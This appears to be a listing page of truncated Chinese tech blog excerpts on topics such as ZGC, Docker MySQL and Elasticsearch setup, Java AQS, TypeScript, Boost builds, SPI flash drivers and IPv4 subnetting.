理论部分就不细讲了&#xff0c;具体可以看《 jvm 虚拟机原理》&#xff0c;下面直接画图来演示 ZGC 垃圾回收过程。 第一步 初始状态&#xff0c;视图由 mark0 切换为 Remapped &#xff0c;其中&#xff0c;大方块是 region&#xff0c;小方块是对象&#xff0c;小方块上面数…

Win11的几个实用技巧系列之不能玩植物大战僵尸、如何彻底删除360所有文件

目录 Win11不能玩植物大战僵尸怎么办?Win11玩不了植物大战僵尸的解决方法 Win11玩不了植物大战僵尸的解决方法 win11如何彻底删除360所有文件?win11彻底删除360所有文件方法分享 win11如何卸载360&#xff1a; Win11不能玩植物大战僵尸怎么办?Win11玩不了植物大战僵尸的解…

记一次H3CIE实验考试

一、前言 直接上图 IE机试在12月19号考的&#xff0c;为避免成为小羊人&#xff0c;没去北京/杭州这2个固定地点&#xff0c;就在本省的协办单位考的。但是&#xff0c;还是中招了&#xff0c;5个同学一起去考的&#xff0c;全阳了。 华三机试一共有三套图&#xff0c;ACD&am…

1343:【例4-2】牛的旅行

1343&#xff1a;【例4-2】牛的旅行 时间限制: 1000 ms 内存限制: 65536 KB 【题目描述】 农民John的农场里有很多牧区。有的路径连接一些特定的牧区。一片所有连通的牧区称为一个牧场。但是就目前而言&#xff0c;你能看到至少有两个牧区不连通。现在&#xff0c;John…

【特殊的一年,过去了】再见2022,你好2023

现在是2022年12月30日&#xff0c;提前的新年快乐&#xff01; 各位阳过了吗&#xff1f;&#xff08; tips:最近新学会的打招呼方式:) &#xff09; 我已经阳康啦&#xff0c;所以本文是带有奥密克戎抗体的&#xff0c;各位不用担心~ – 2022可算是快接近尾声啦&#xff01;…

虹科案例|Vuzix辅助和增强现实技术的全球领导者

当今企业的新现实 Vuzix 大多数科技业内人士都认为&#xff0c;未来将是免提时代。总有一天&#xff0c;智能手机、平板电脑、台式电脑和笔记本电脑将被更直观的设备所取代。 然而&#xff0c;对于未来免提的条件&#xff0c;各方意见并不一致。未来的免提设备是将数字信息覆盖…

IntelliJ IDEA 详细使用教程 – 主题,字体,类和方法注释设置

IDEA是Java开发者最喜爱的开发工具之一&#xff0c;高端大气&#xff0c;智能化&#xff0c;个性化&#xff0c;每个开发者都喜欢设置自己喜欢的主题&#xff0c;字体&#xff0c;打造一个属于自己的IDE&#xff0c;本次介绍在IDEA中&#xff0c;如何设置主题&#xff0c;字体等…

聊聊AQS

Java中 AQS 是 AbstractQueuedSynchronizer 类&#xff0c;AQS 依赖 FIFO 队列来提供一个框架&#xff0c;这个框架用于实现锁以及锁相关的同步器&#xff0c;比如信号量、事件等。 在 AQS 中&#xff0c;主要有两部分功能&#xff0c;一部分是操作 state 变量&#xff0c;第二…

调用html5播放器时,出现播放器按钮太小的问题

用手机浏览器打开视频&#xff0c;有时会出现播放器按钮太小的情况&#xff0c;此时只需在<head>中加入下面这段viewport代码即可解决&#xff1a; <meta name"viewport" content"widthdevice-width, initial-scale1, maximum-scale1,minimum-scale1…

Docker下Mysql应用部署

目录 环境搭建 进入mysql 外部连接mysql 外部插入数据 查询容器数据 环境搭建 docker pull mysqlmkdir /root/mysql cd /root/mysqldocker run -id \ -p 3307:3306 \ --name my_sql \ -v $PWD/logs:/logs \ -v $PWD/data:/var/lib/mysql \ -v $PWD/conf:/etc/mysql/conf…

【开源项目】任务调度框架PowerJob介绍及源码解析

项目介绍 PowerJob&#xff08;原OhMyScheduler&#xff09;是全新一代分布式调度与计算框架&#xff0c;能让您轻松完成作业的调度与繁杂任务的分布式计算。 项目地址 源码&#xff1a;https://gitee.com/KFCFans/PowerJob官网&#xff1a;http://www.powerjob.tech/index…

前端期末考试试题及参考答案(01)

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl 一、 填空题 ______表示页面中一个内容区块或整个页面的标题。______表示页面中一块与上下文不相关的独立内容&#xff0c;比如一篇文章。CSS的引入方式有3种&#xff0c;分…

Python数据分析案例15——超市零售购物篮关联分析(apriori)

啤酒和纸尿裤的故事大多数人都听说过&#xff0c;纸尿裤的售卖提升了啤酒的销售额。 关联分析就是这样的作用&#xff0c;可以研究某种商品的售卖对另外的商品的销售起促进还是抑制的作用。 案例背景 本次案例背景是超市的零售数据&#xff0c;研究商品之间的关联规则。使用的…

移植SFUD,驱动SPI FLASH ZD25WQ80

1、关于SFUD SFUD (Serial Flash Universal Driver) 串行 Flash 通用驱动库&#xff0c;支持众多spi flash&#xff0c;关于SFUD的详细资料可参考&#xff1a;https://github.com/armink/SFUD。 2、为什么会有通用驱动 JEDEC &#xff08;固态技术协会&#xff09;针对串行 …

Python的22个万用公式,你确定不看看吗

前言 在大家的日常python程序的编写过程中&#xff0c;都会有自己解决某个问题的解决办法&#xff0c;或者是在程序的调试过程中&#xff0c;用来帮助调试的程序公式。 小编通过几十万行代码的总结处理&#xff0c;总结出了22个python万用公式&#xff0c;可以帮助大家解决在…

TypeScript中type和interface区别

typescript中interface介绍&#xff1a;TypeScript 中的接口 interface_疆~的博客-CSDN博客通常使用接口&#xff08;Interface&#xff09;来定义对象的类型。https://blog.csdn.net/qq_40323256/article/details/128478749 type type关键字是声明类型别名的关键字。用来给一…

windows 编译C++ boost库(超详细)

系列文章目录 文章目录系列文章目录前言一、windows二、b2.exe 参数前言 boost库其实不进行编译&#xff0c;大部分库也是可以正常使用的 而且也有一个开源工具vcpkg可以帮组我们下载编译&#xff0c;只是在国内用起来比较麻烦&#xff0c;而且还时常出bug 所以这里详细记录…

mac下,使用 docker 搭建,单机机器集群

背景&#xff1a; 在 Mac本下&#xff0c;通过 docker 完成一个 es 集群&#xff08;3台-或许可多台&#xff09;搭建。&#xff08;后续如果有真实的机器&#xff0c;只需要又该对应的 ip 地址即可&#xff0c;需要关注的是&#xff0c;机器间是可以互相 ping通的&#xff0c;…

4.3.5、IPv4 地址的应用规划

给定一个 IPv4 地址块&#xff0c;如何将其划分成几个更小的地址块&#xff0c;并将这些地址快分配给互联网中的不同网络&#xff0c; 进而可以给各网络中的主机和路由器接口分配 IPv4 地址。 一般有两种方法&#xff1a; 定长的子网掩码 FLSM &#xff08;Fixed Length Sub…

线程,进程以及Java中创建线程的多种方式

1. 前言 今天的这篇文章的目的还是为了讲述下什么叫线程&#xff0c;什么是进程。可能之前很多人都是通过背书得来的&#xff0c;今天就从通俗易懂的角度来分析下 2. 适合人群 线程以及进程的初学者 3. 开始 3.1 什么是程序 其实不管是程序/ 进程/ 线程都是基于操作系统而言…